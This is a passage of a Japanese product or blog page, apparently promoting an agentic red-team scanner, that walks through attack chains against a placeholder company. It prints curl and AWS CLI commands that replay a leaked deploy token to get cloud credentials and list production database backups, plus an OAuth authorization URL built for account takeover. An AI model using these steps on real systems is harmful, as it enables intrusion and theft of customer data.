&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"amount"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;18900.00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"currency"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"USD"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"customer_email"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"treasury@fintech-global.io"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;"card_last4"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1098"&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;スキャンはこのトランザクションのフローを自動的に捕捉し、完全な悪用可能性を確認して、手動トリアージを一切必要とせずに確定的な概念実証を生成します。&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="攻撃チェーン2:ソースコードのシークレット漏えい + 稼働中のapi + クラウドiamの権限昇格"&gt;攻撃チェーン2：ソースコードのシークレット漏えい + 稼働中のAPI + クラウドIAMの権限昇格&lt;/h3&gt;
&lt;p&gt;Gitのコミット履歴に取り残されたシークレットは、クラウド環境で高い権限を保持したまま、日常的なコードレビューでは検出を逃れることがよくあります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;      &amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;      &amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
&amp;boxv; 1. Git Commit History&amp;boxv; &amp;boxh;&amp;boxh;&amp;boxh;► &amp;boxv; 2. Live API Gateway  &amp;boxv; &amp;boxh;&amp;boxh;&amp;boxh;► &amp;boxv; 3. Cloud Storage / IAM    &amp;boxv;
&amp;boxv; Unearths orphaned    &amp;boxv;      &amp;boxv; Exchanges token for  &amp;boxv;      &amp;boxv; Lists &amp;amp; accesses          &amp;boxv;
&amp;boxv; staging deploy token &amp;boxv;      &amp;boxv; temporary STS keys   &amp;boxv;      &amp;boxv; production database dumps &amp;boxv;
&amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;      &amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;      &amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
&amp;boxv; STEP-BY-STEP REASONING &amp;amp; EXECUTION FLOW                                     &amp;boxv;
&amp;boxvr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxvl;
&amp;boxv; 1. STATIC REPO: Agent scans Git history; extracts stg_deploy_9f8a87b3c1d2e4  &amp;boxv;
&amp;boxv; 2. LIVE PROBE : Tests token against live API (api.target-company.com/v1/sts)&amp;boxv;
&amp;boxv; 3. PERMISSIONS: Obtains STS credentials; enumerates attached IAM policies   &amp;boxv;
&amp;boxv; 4. ESCALATION : Discovers wildcard s3:GetObject &amp;amp; s3:ListBucket privileges  &amp;boxv;
&amp;boxv; 5. VALIDATION : Executes live S3 bucket listing of prod database backups    &amp;boxv;
&amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;リポジトリのコミット履歴のマイニング&lt;/strong&gt;：エージェントは、マージされていないステージングブランチやコミットの差分を含め、ソースリポジトリを監査します。8か月前にコミットされたアーカイブ済みのスクリプト（&lt;code&gt;scripts/deploy_staging.sh&lt;/code&gt;）の中から、エージェントは有効なデプロイトークン&lt;code&gt;stg_deploy_9f8a87b3c1d2e4&lt;/code&gt;を掘り起こします。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;稼働中のAPIでの認証&lt;/strong&gt;：静的なシークレットの警告を生成するだけにとどまらず、エージェントはこの候補の認証情報を、稼働中の本番APIゲートウェイ&lt;code&gt;https://api.target-company.com/v1/internal/sts/token&lt;/code&gt;. に対して試します。ゲートウェイはトークンを検証し、一時的なクラウドセキュリティ認証情報（&lt;code&gt;AWS_ACCESS_KEY_ID&lt;/code&gt;、&lt;code&gt;AWS_SECRET_ACCESS_KEY&lt;/code&gt;、&lt;code&gt;AWS_SESSION_TOKEN&lt;/code&gt;）を発行します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クラウドIAMの境界の評価&lt;/strong&gt;：エージェントは、引き受けたセッションロール（&lt;code&gt;Role/StagingDeployer&lt;/code&gt;）にアタッチされたIAMポリシーを調べ、コンピュートの権限は制限されている一方で、ストレージの権限に過度に寛容なワイルドカード、すなわち&lt;code&gt;arn:aws:s3:::*&lt;/code&gt;に対する&lt;code&gt;s3:ListBucket&lt;/code&gt;と&lt;code&gt;s3:GetObject&lt;/code&gt;が含まれていることを発見します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;機密なクラウドデータの稼働環境での検証&lt;/strong&gt;：エージェントはクラウドストレージのエンドポイントに対して署名付きのリクエストを実行し、本番データベースのバックアップへの直接的で認可されていないアクセスを実証します。&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Automated Proof of Concept generated by Multi-Asset Deep Agentic Scan:&lt;/span&gt;

&lt;span class="c1"&gt;# Step 1: Authenticate against live API with discovered repository secret&lt;/span&gt;
curl&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://api.target-company.com/v1/internal/sts/token"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"X-Deploy-Token: stg_deploy_9f8a87b3c1d2e4"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;-H&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt;

&lt;span class="c1"&gt;# Returned Session Credentials:&lt;/span&gt;
&lt;span class="c1"&gt;# {&lt;/span&gt;
&lt;span class="c1"&gt;#   "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",&lt;/span&gt;
&lt;span class="c1"&gt;#   "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",&lt;/span&gt;
&lt;span class="c1"&gt;#   "SessionToken": "AQoDYXdzEJr1...",&lt;/span&gt;
&lt;span class="c1"&gt;#   "Expiration": "2026-09-02T14:00:00Z"&lt;/span&gt;
&lt;span class="c1"&gt;# }&lt;/span&gt;

&lt;span class="c1"&gt;# Step 2: Validate live cloud storage access&lt;/span&gt;
aws&lt;span class="w"&gt; &lt;/span&gt;s3&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;s3://prod-customer-backups-2026/&lt;span class="w"&gt; &lt;/span&gt;--region&lt;span class="w"&gt; &lt;/span&gt;us-east-1

&lt;span class="c1"&gt;# Output:&lt;/span&gt;
&lt;span class="c1"&gt;# 2026-09-01 04:00:15  14.5GB  prod_db_dump_20260901.sql.gz&lt;/span&gt;
&lt;span class="c1"&gt;# 2026-09-02 04:00:12  14.8GB  prod_db_dump_20260902.sql.gz&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h3 id="攻撃チェーン3:モバイルのディープリンク + webのoauth設定ミス + アカウント乗っ取り"&gt;攻撃チェーン3：モバイルのディープリンク + WebのOAuth設定ミス + アカウント乗っ取り&lt;/h3&gt;
&lt;p&gt;クライアント側のモバイルアプリケーションの設定は、シングルサインオン（SSO）の認証フローの際に、サーバー側のアイデンティティプロバイダーと危険な形で交差することがよくあります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;      &amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;      &amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
&amp;boxv; 1. Mobile Decompile  &amp;boxv; &amp;boxh;&amp;boxh;&amp;boxh;► &amp;boxv; 2. Web OAuth Server  &amp;boxv; &amp;boxh;&amp;boxh;&amp;boxh;► &amp;boxv; 3. Account Takeover       &amp;boxv;
&amp;boxv; Uncovers exported    &amp;boxv;      &amp;boxv; Identifies wildcard  &amp;boxv;      &amp;boxv; Intercepts auth codes via &amp;boxv;
&amp;boxv; custom deep link URI &amp;boxv;      &amp;boxv; redirect_uri scheme  &amp;boxv;      &amp;boxv; malicious redirect chain  &amp;boxv;
&amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;      &amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;      &amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
&amp;boxv; STEP-BY-STEP REASONING &amp;amp; EXECUTION FLOW                                     &amp;boxv;
&amp;boxvr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxvl;
&amp;boxv; 1. DECOMPILE  : Agent decompiles Android manifest &amp;amp; locates exported handler&amp;boxv;
&amp;boxv;                 Activity: OAuthRedirectActivity (scheme: myapp://auth/cb)   &amp;boxv;
&amp;boxv; 2. CODE AUDIT : Activity accepts code &amp;amp; exchanges tokens without PKCE/state &amp;boxv;
&amp;boxv; 3. OAUTH PROBE: Web OAuth server allows custom URI schemes for public client&amp;boxv;
&amp;boxv; 4. SYNTHESIS  : Agent constructs crafted authorization URL with deep link   &amp;boxv;
&amp;boxv; 5. VALIDATION : Intercepts authorization code, proving account takeover PoC &amp;boxv;
&amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;モバイルのディープリンクのリバースエンジニアリング&lt;/strong&gt;：Androidアプリケーションパッケージ（&lt;code&gt;.apk&lt;/code&gt;）を逆コンパイルし、エージェントは&lt;code&gt;AndroidManifest.xml&lt;/code&gt;を解析して、カスタムのディープリンクのコールバックを処理するよう設定されたエクスポートされたアクティビティを発見します。&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;activity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;".ui.auth.OAuthRedirectActivity"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:exported=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;intent-filter&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;action&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"android.intent.action.VIEW"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;category&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"android.intent.category.DEFAULT"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;category&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:name=&lt;/span&gt;&lt;span class="s"&gt;"android.intent.category.BROWSABLE"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:scheme=&lt;/span&gt;&lt;span class="s"&gt;"myapp"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:host=&lt;/span&gt;&lt;span class="s"&gt;"auth"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;android:path=&lt;/span&gt;&lt;span class="s"&gt;"/callback"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/intent-filter&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/activity&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;クライアント側のトークンハンドシェイクの監査&lt;/strong&gt;：&lt;code&gt;OAuthRedirectActivity.kt&lt;/code&gt;において、エージェントは、アプリケーションが認可コードを含む受信インテント（&lt;code&gt;myapp://auth/callback?code=...&lt;/code&gt;）を受け取ると、&lt;code&gt;state&lt;/code&gt;パラメーターを検証することもPKCE（Proof Key for Code Exchange）を強制することもなく、即座にその認可コードをセッショントークンと交換することを発見します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WebのOAuthエンドポイントの探索&lt;/strong&gt;：WebのOAuth 2.0認可サーバー（&lt;code&gt;https://auth.target-company.com/oauth/v2/authorize&lt;/code&gt;）をテストし、エージェントは、このサーバーがパブリッククライアントIDに対してカスタムのURIスキームを許可し、&lt;code&gt;redirect_uri&lt;/code&gt;パラメーターに対して緩い正規表現による検証しか行っていないことを発見します。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アカウント乗っ取りPoCの統合&lt;/strong&gt;：エージェントは、悪用のための認可リンクを構築します。&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;https://auth.target-company.com/oauth/v2/authorize?client_id=web_client_public&amp;amp;response_type=code&amp;amp;redirect_uri=myapp://auth/callback&amp;amp;scope=openid%20profile%20email
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;認証済みの被害者がこのリンクを訪れると、OAuthサーバーは認可コードを発行し、カスタムのモバイルURIスキームへ直接リダイレクトします。端末に登録された悪意あるアプリケーション、あるいは不正なWebリダイレクトハンドラーが、その認可コードを傍受し、操作を一切伴わない完全なアカウント乗っ取りに至ります。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="パラダイムシフト:統合された認知グラフによる自律型レッドチーミング"&gt;パラダイムシフト：統合された認知グラフによる自律型レッドチーミング&lt;/h2&gt;
&lt;p&gt;従来のアプローチは、個別のスキャナーを並行して実行し、その検出結果を中央の脆弱性管理ダッシュボードに集約することで、ツールのサイロを橋渡ししようとします。&lt;/p&gt;
&lt;p&gt;この集約がうまくいかないのは、&lt;strong&gt;集約は相関ではなく、相関は推論ではない&lt;/strong&gt;からです。&lt;/p&gt;
&lt;p&gt;Gitから得た静的なシークレットを、ネットワークスキャンで見つかった開放ポートと並べて表示するダッシュボードは、そのシークレットがそのポート上のAPIを開錠することを認識できません。Multi-Asset Deep Agentic Scanは、根本的なパラダイムシフト、すなわち&lt;strong&gt;統合された認知グラフ上で動作する自律型レッドチーム&lt;/strong&gt;を体現します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh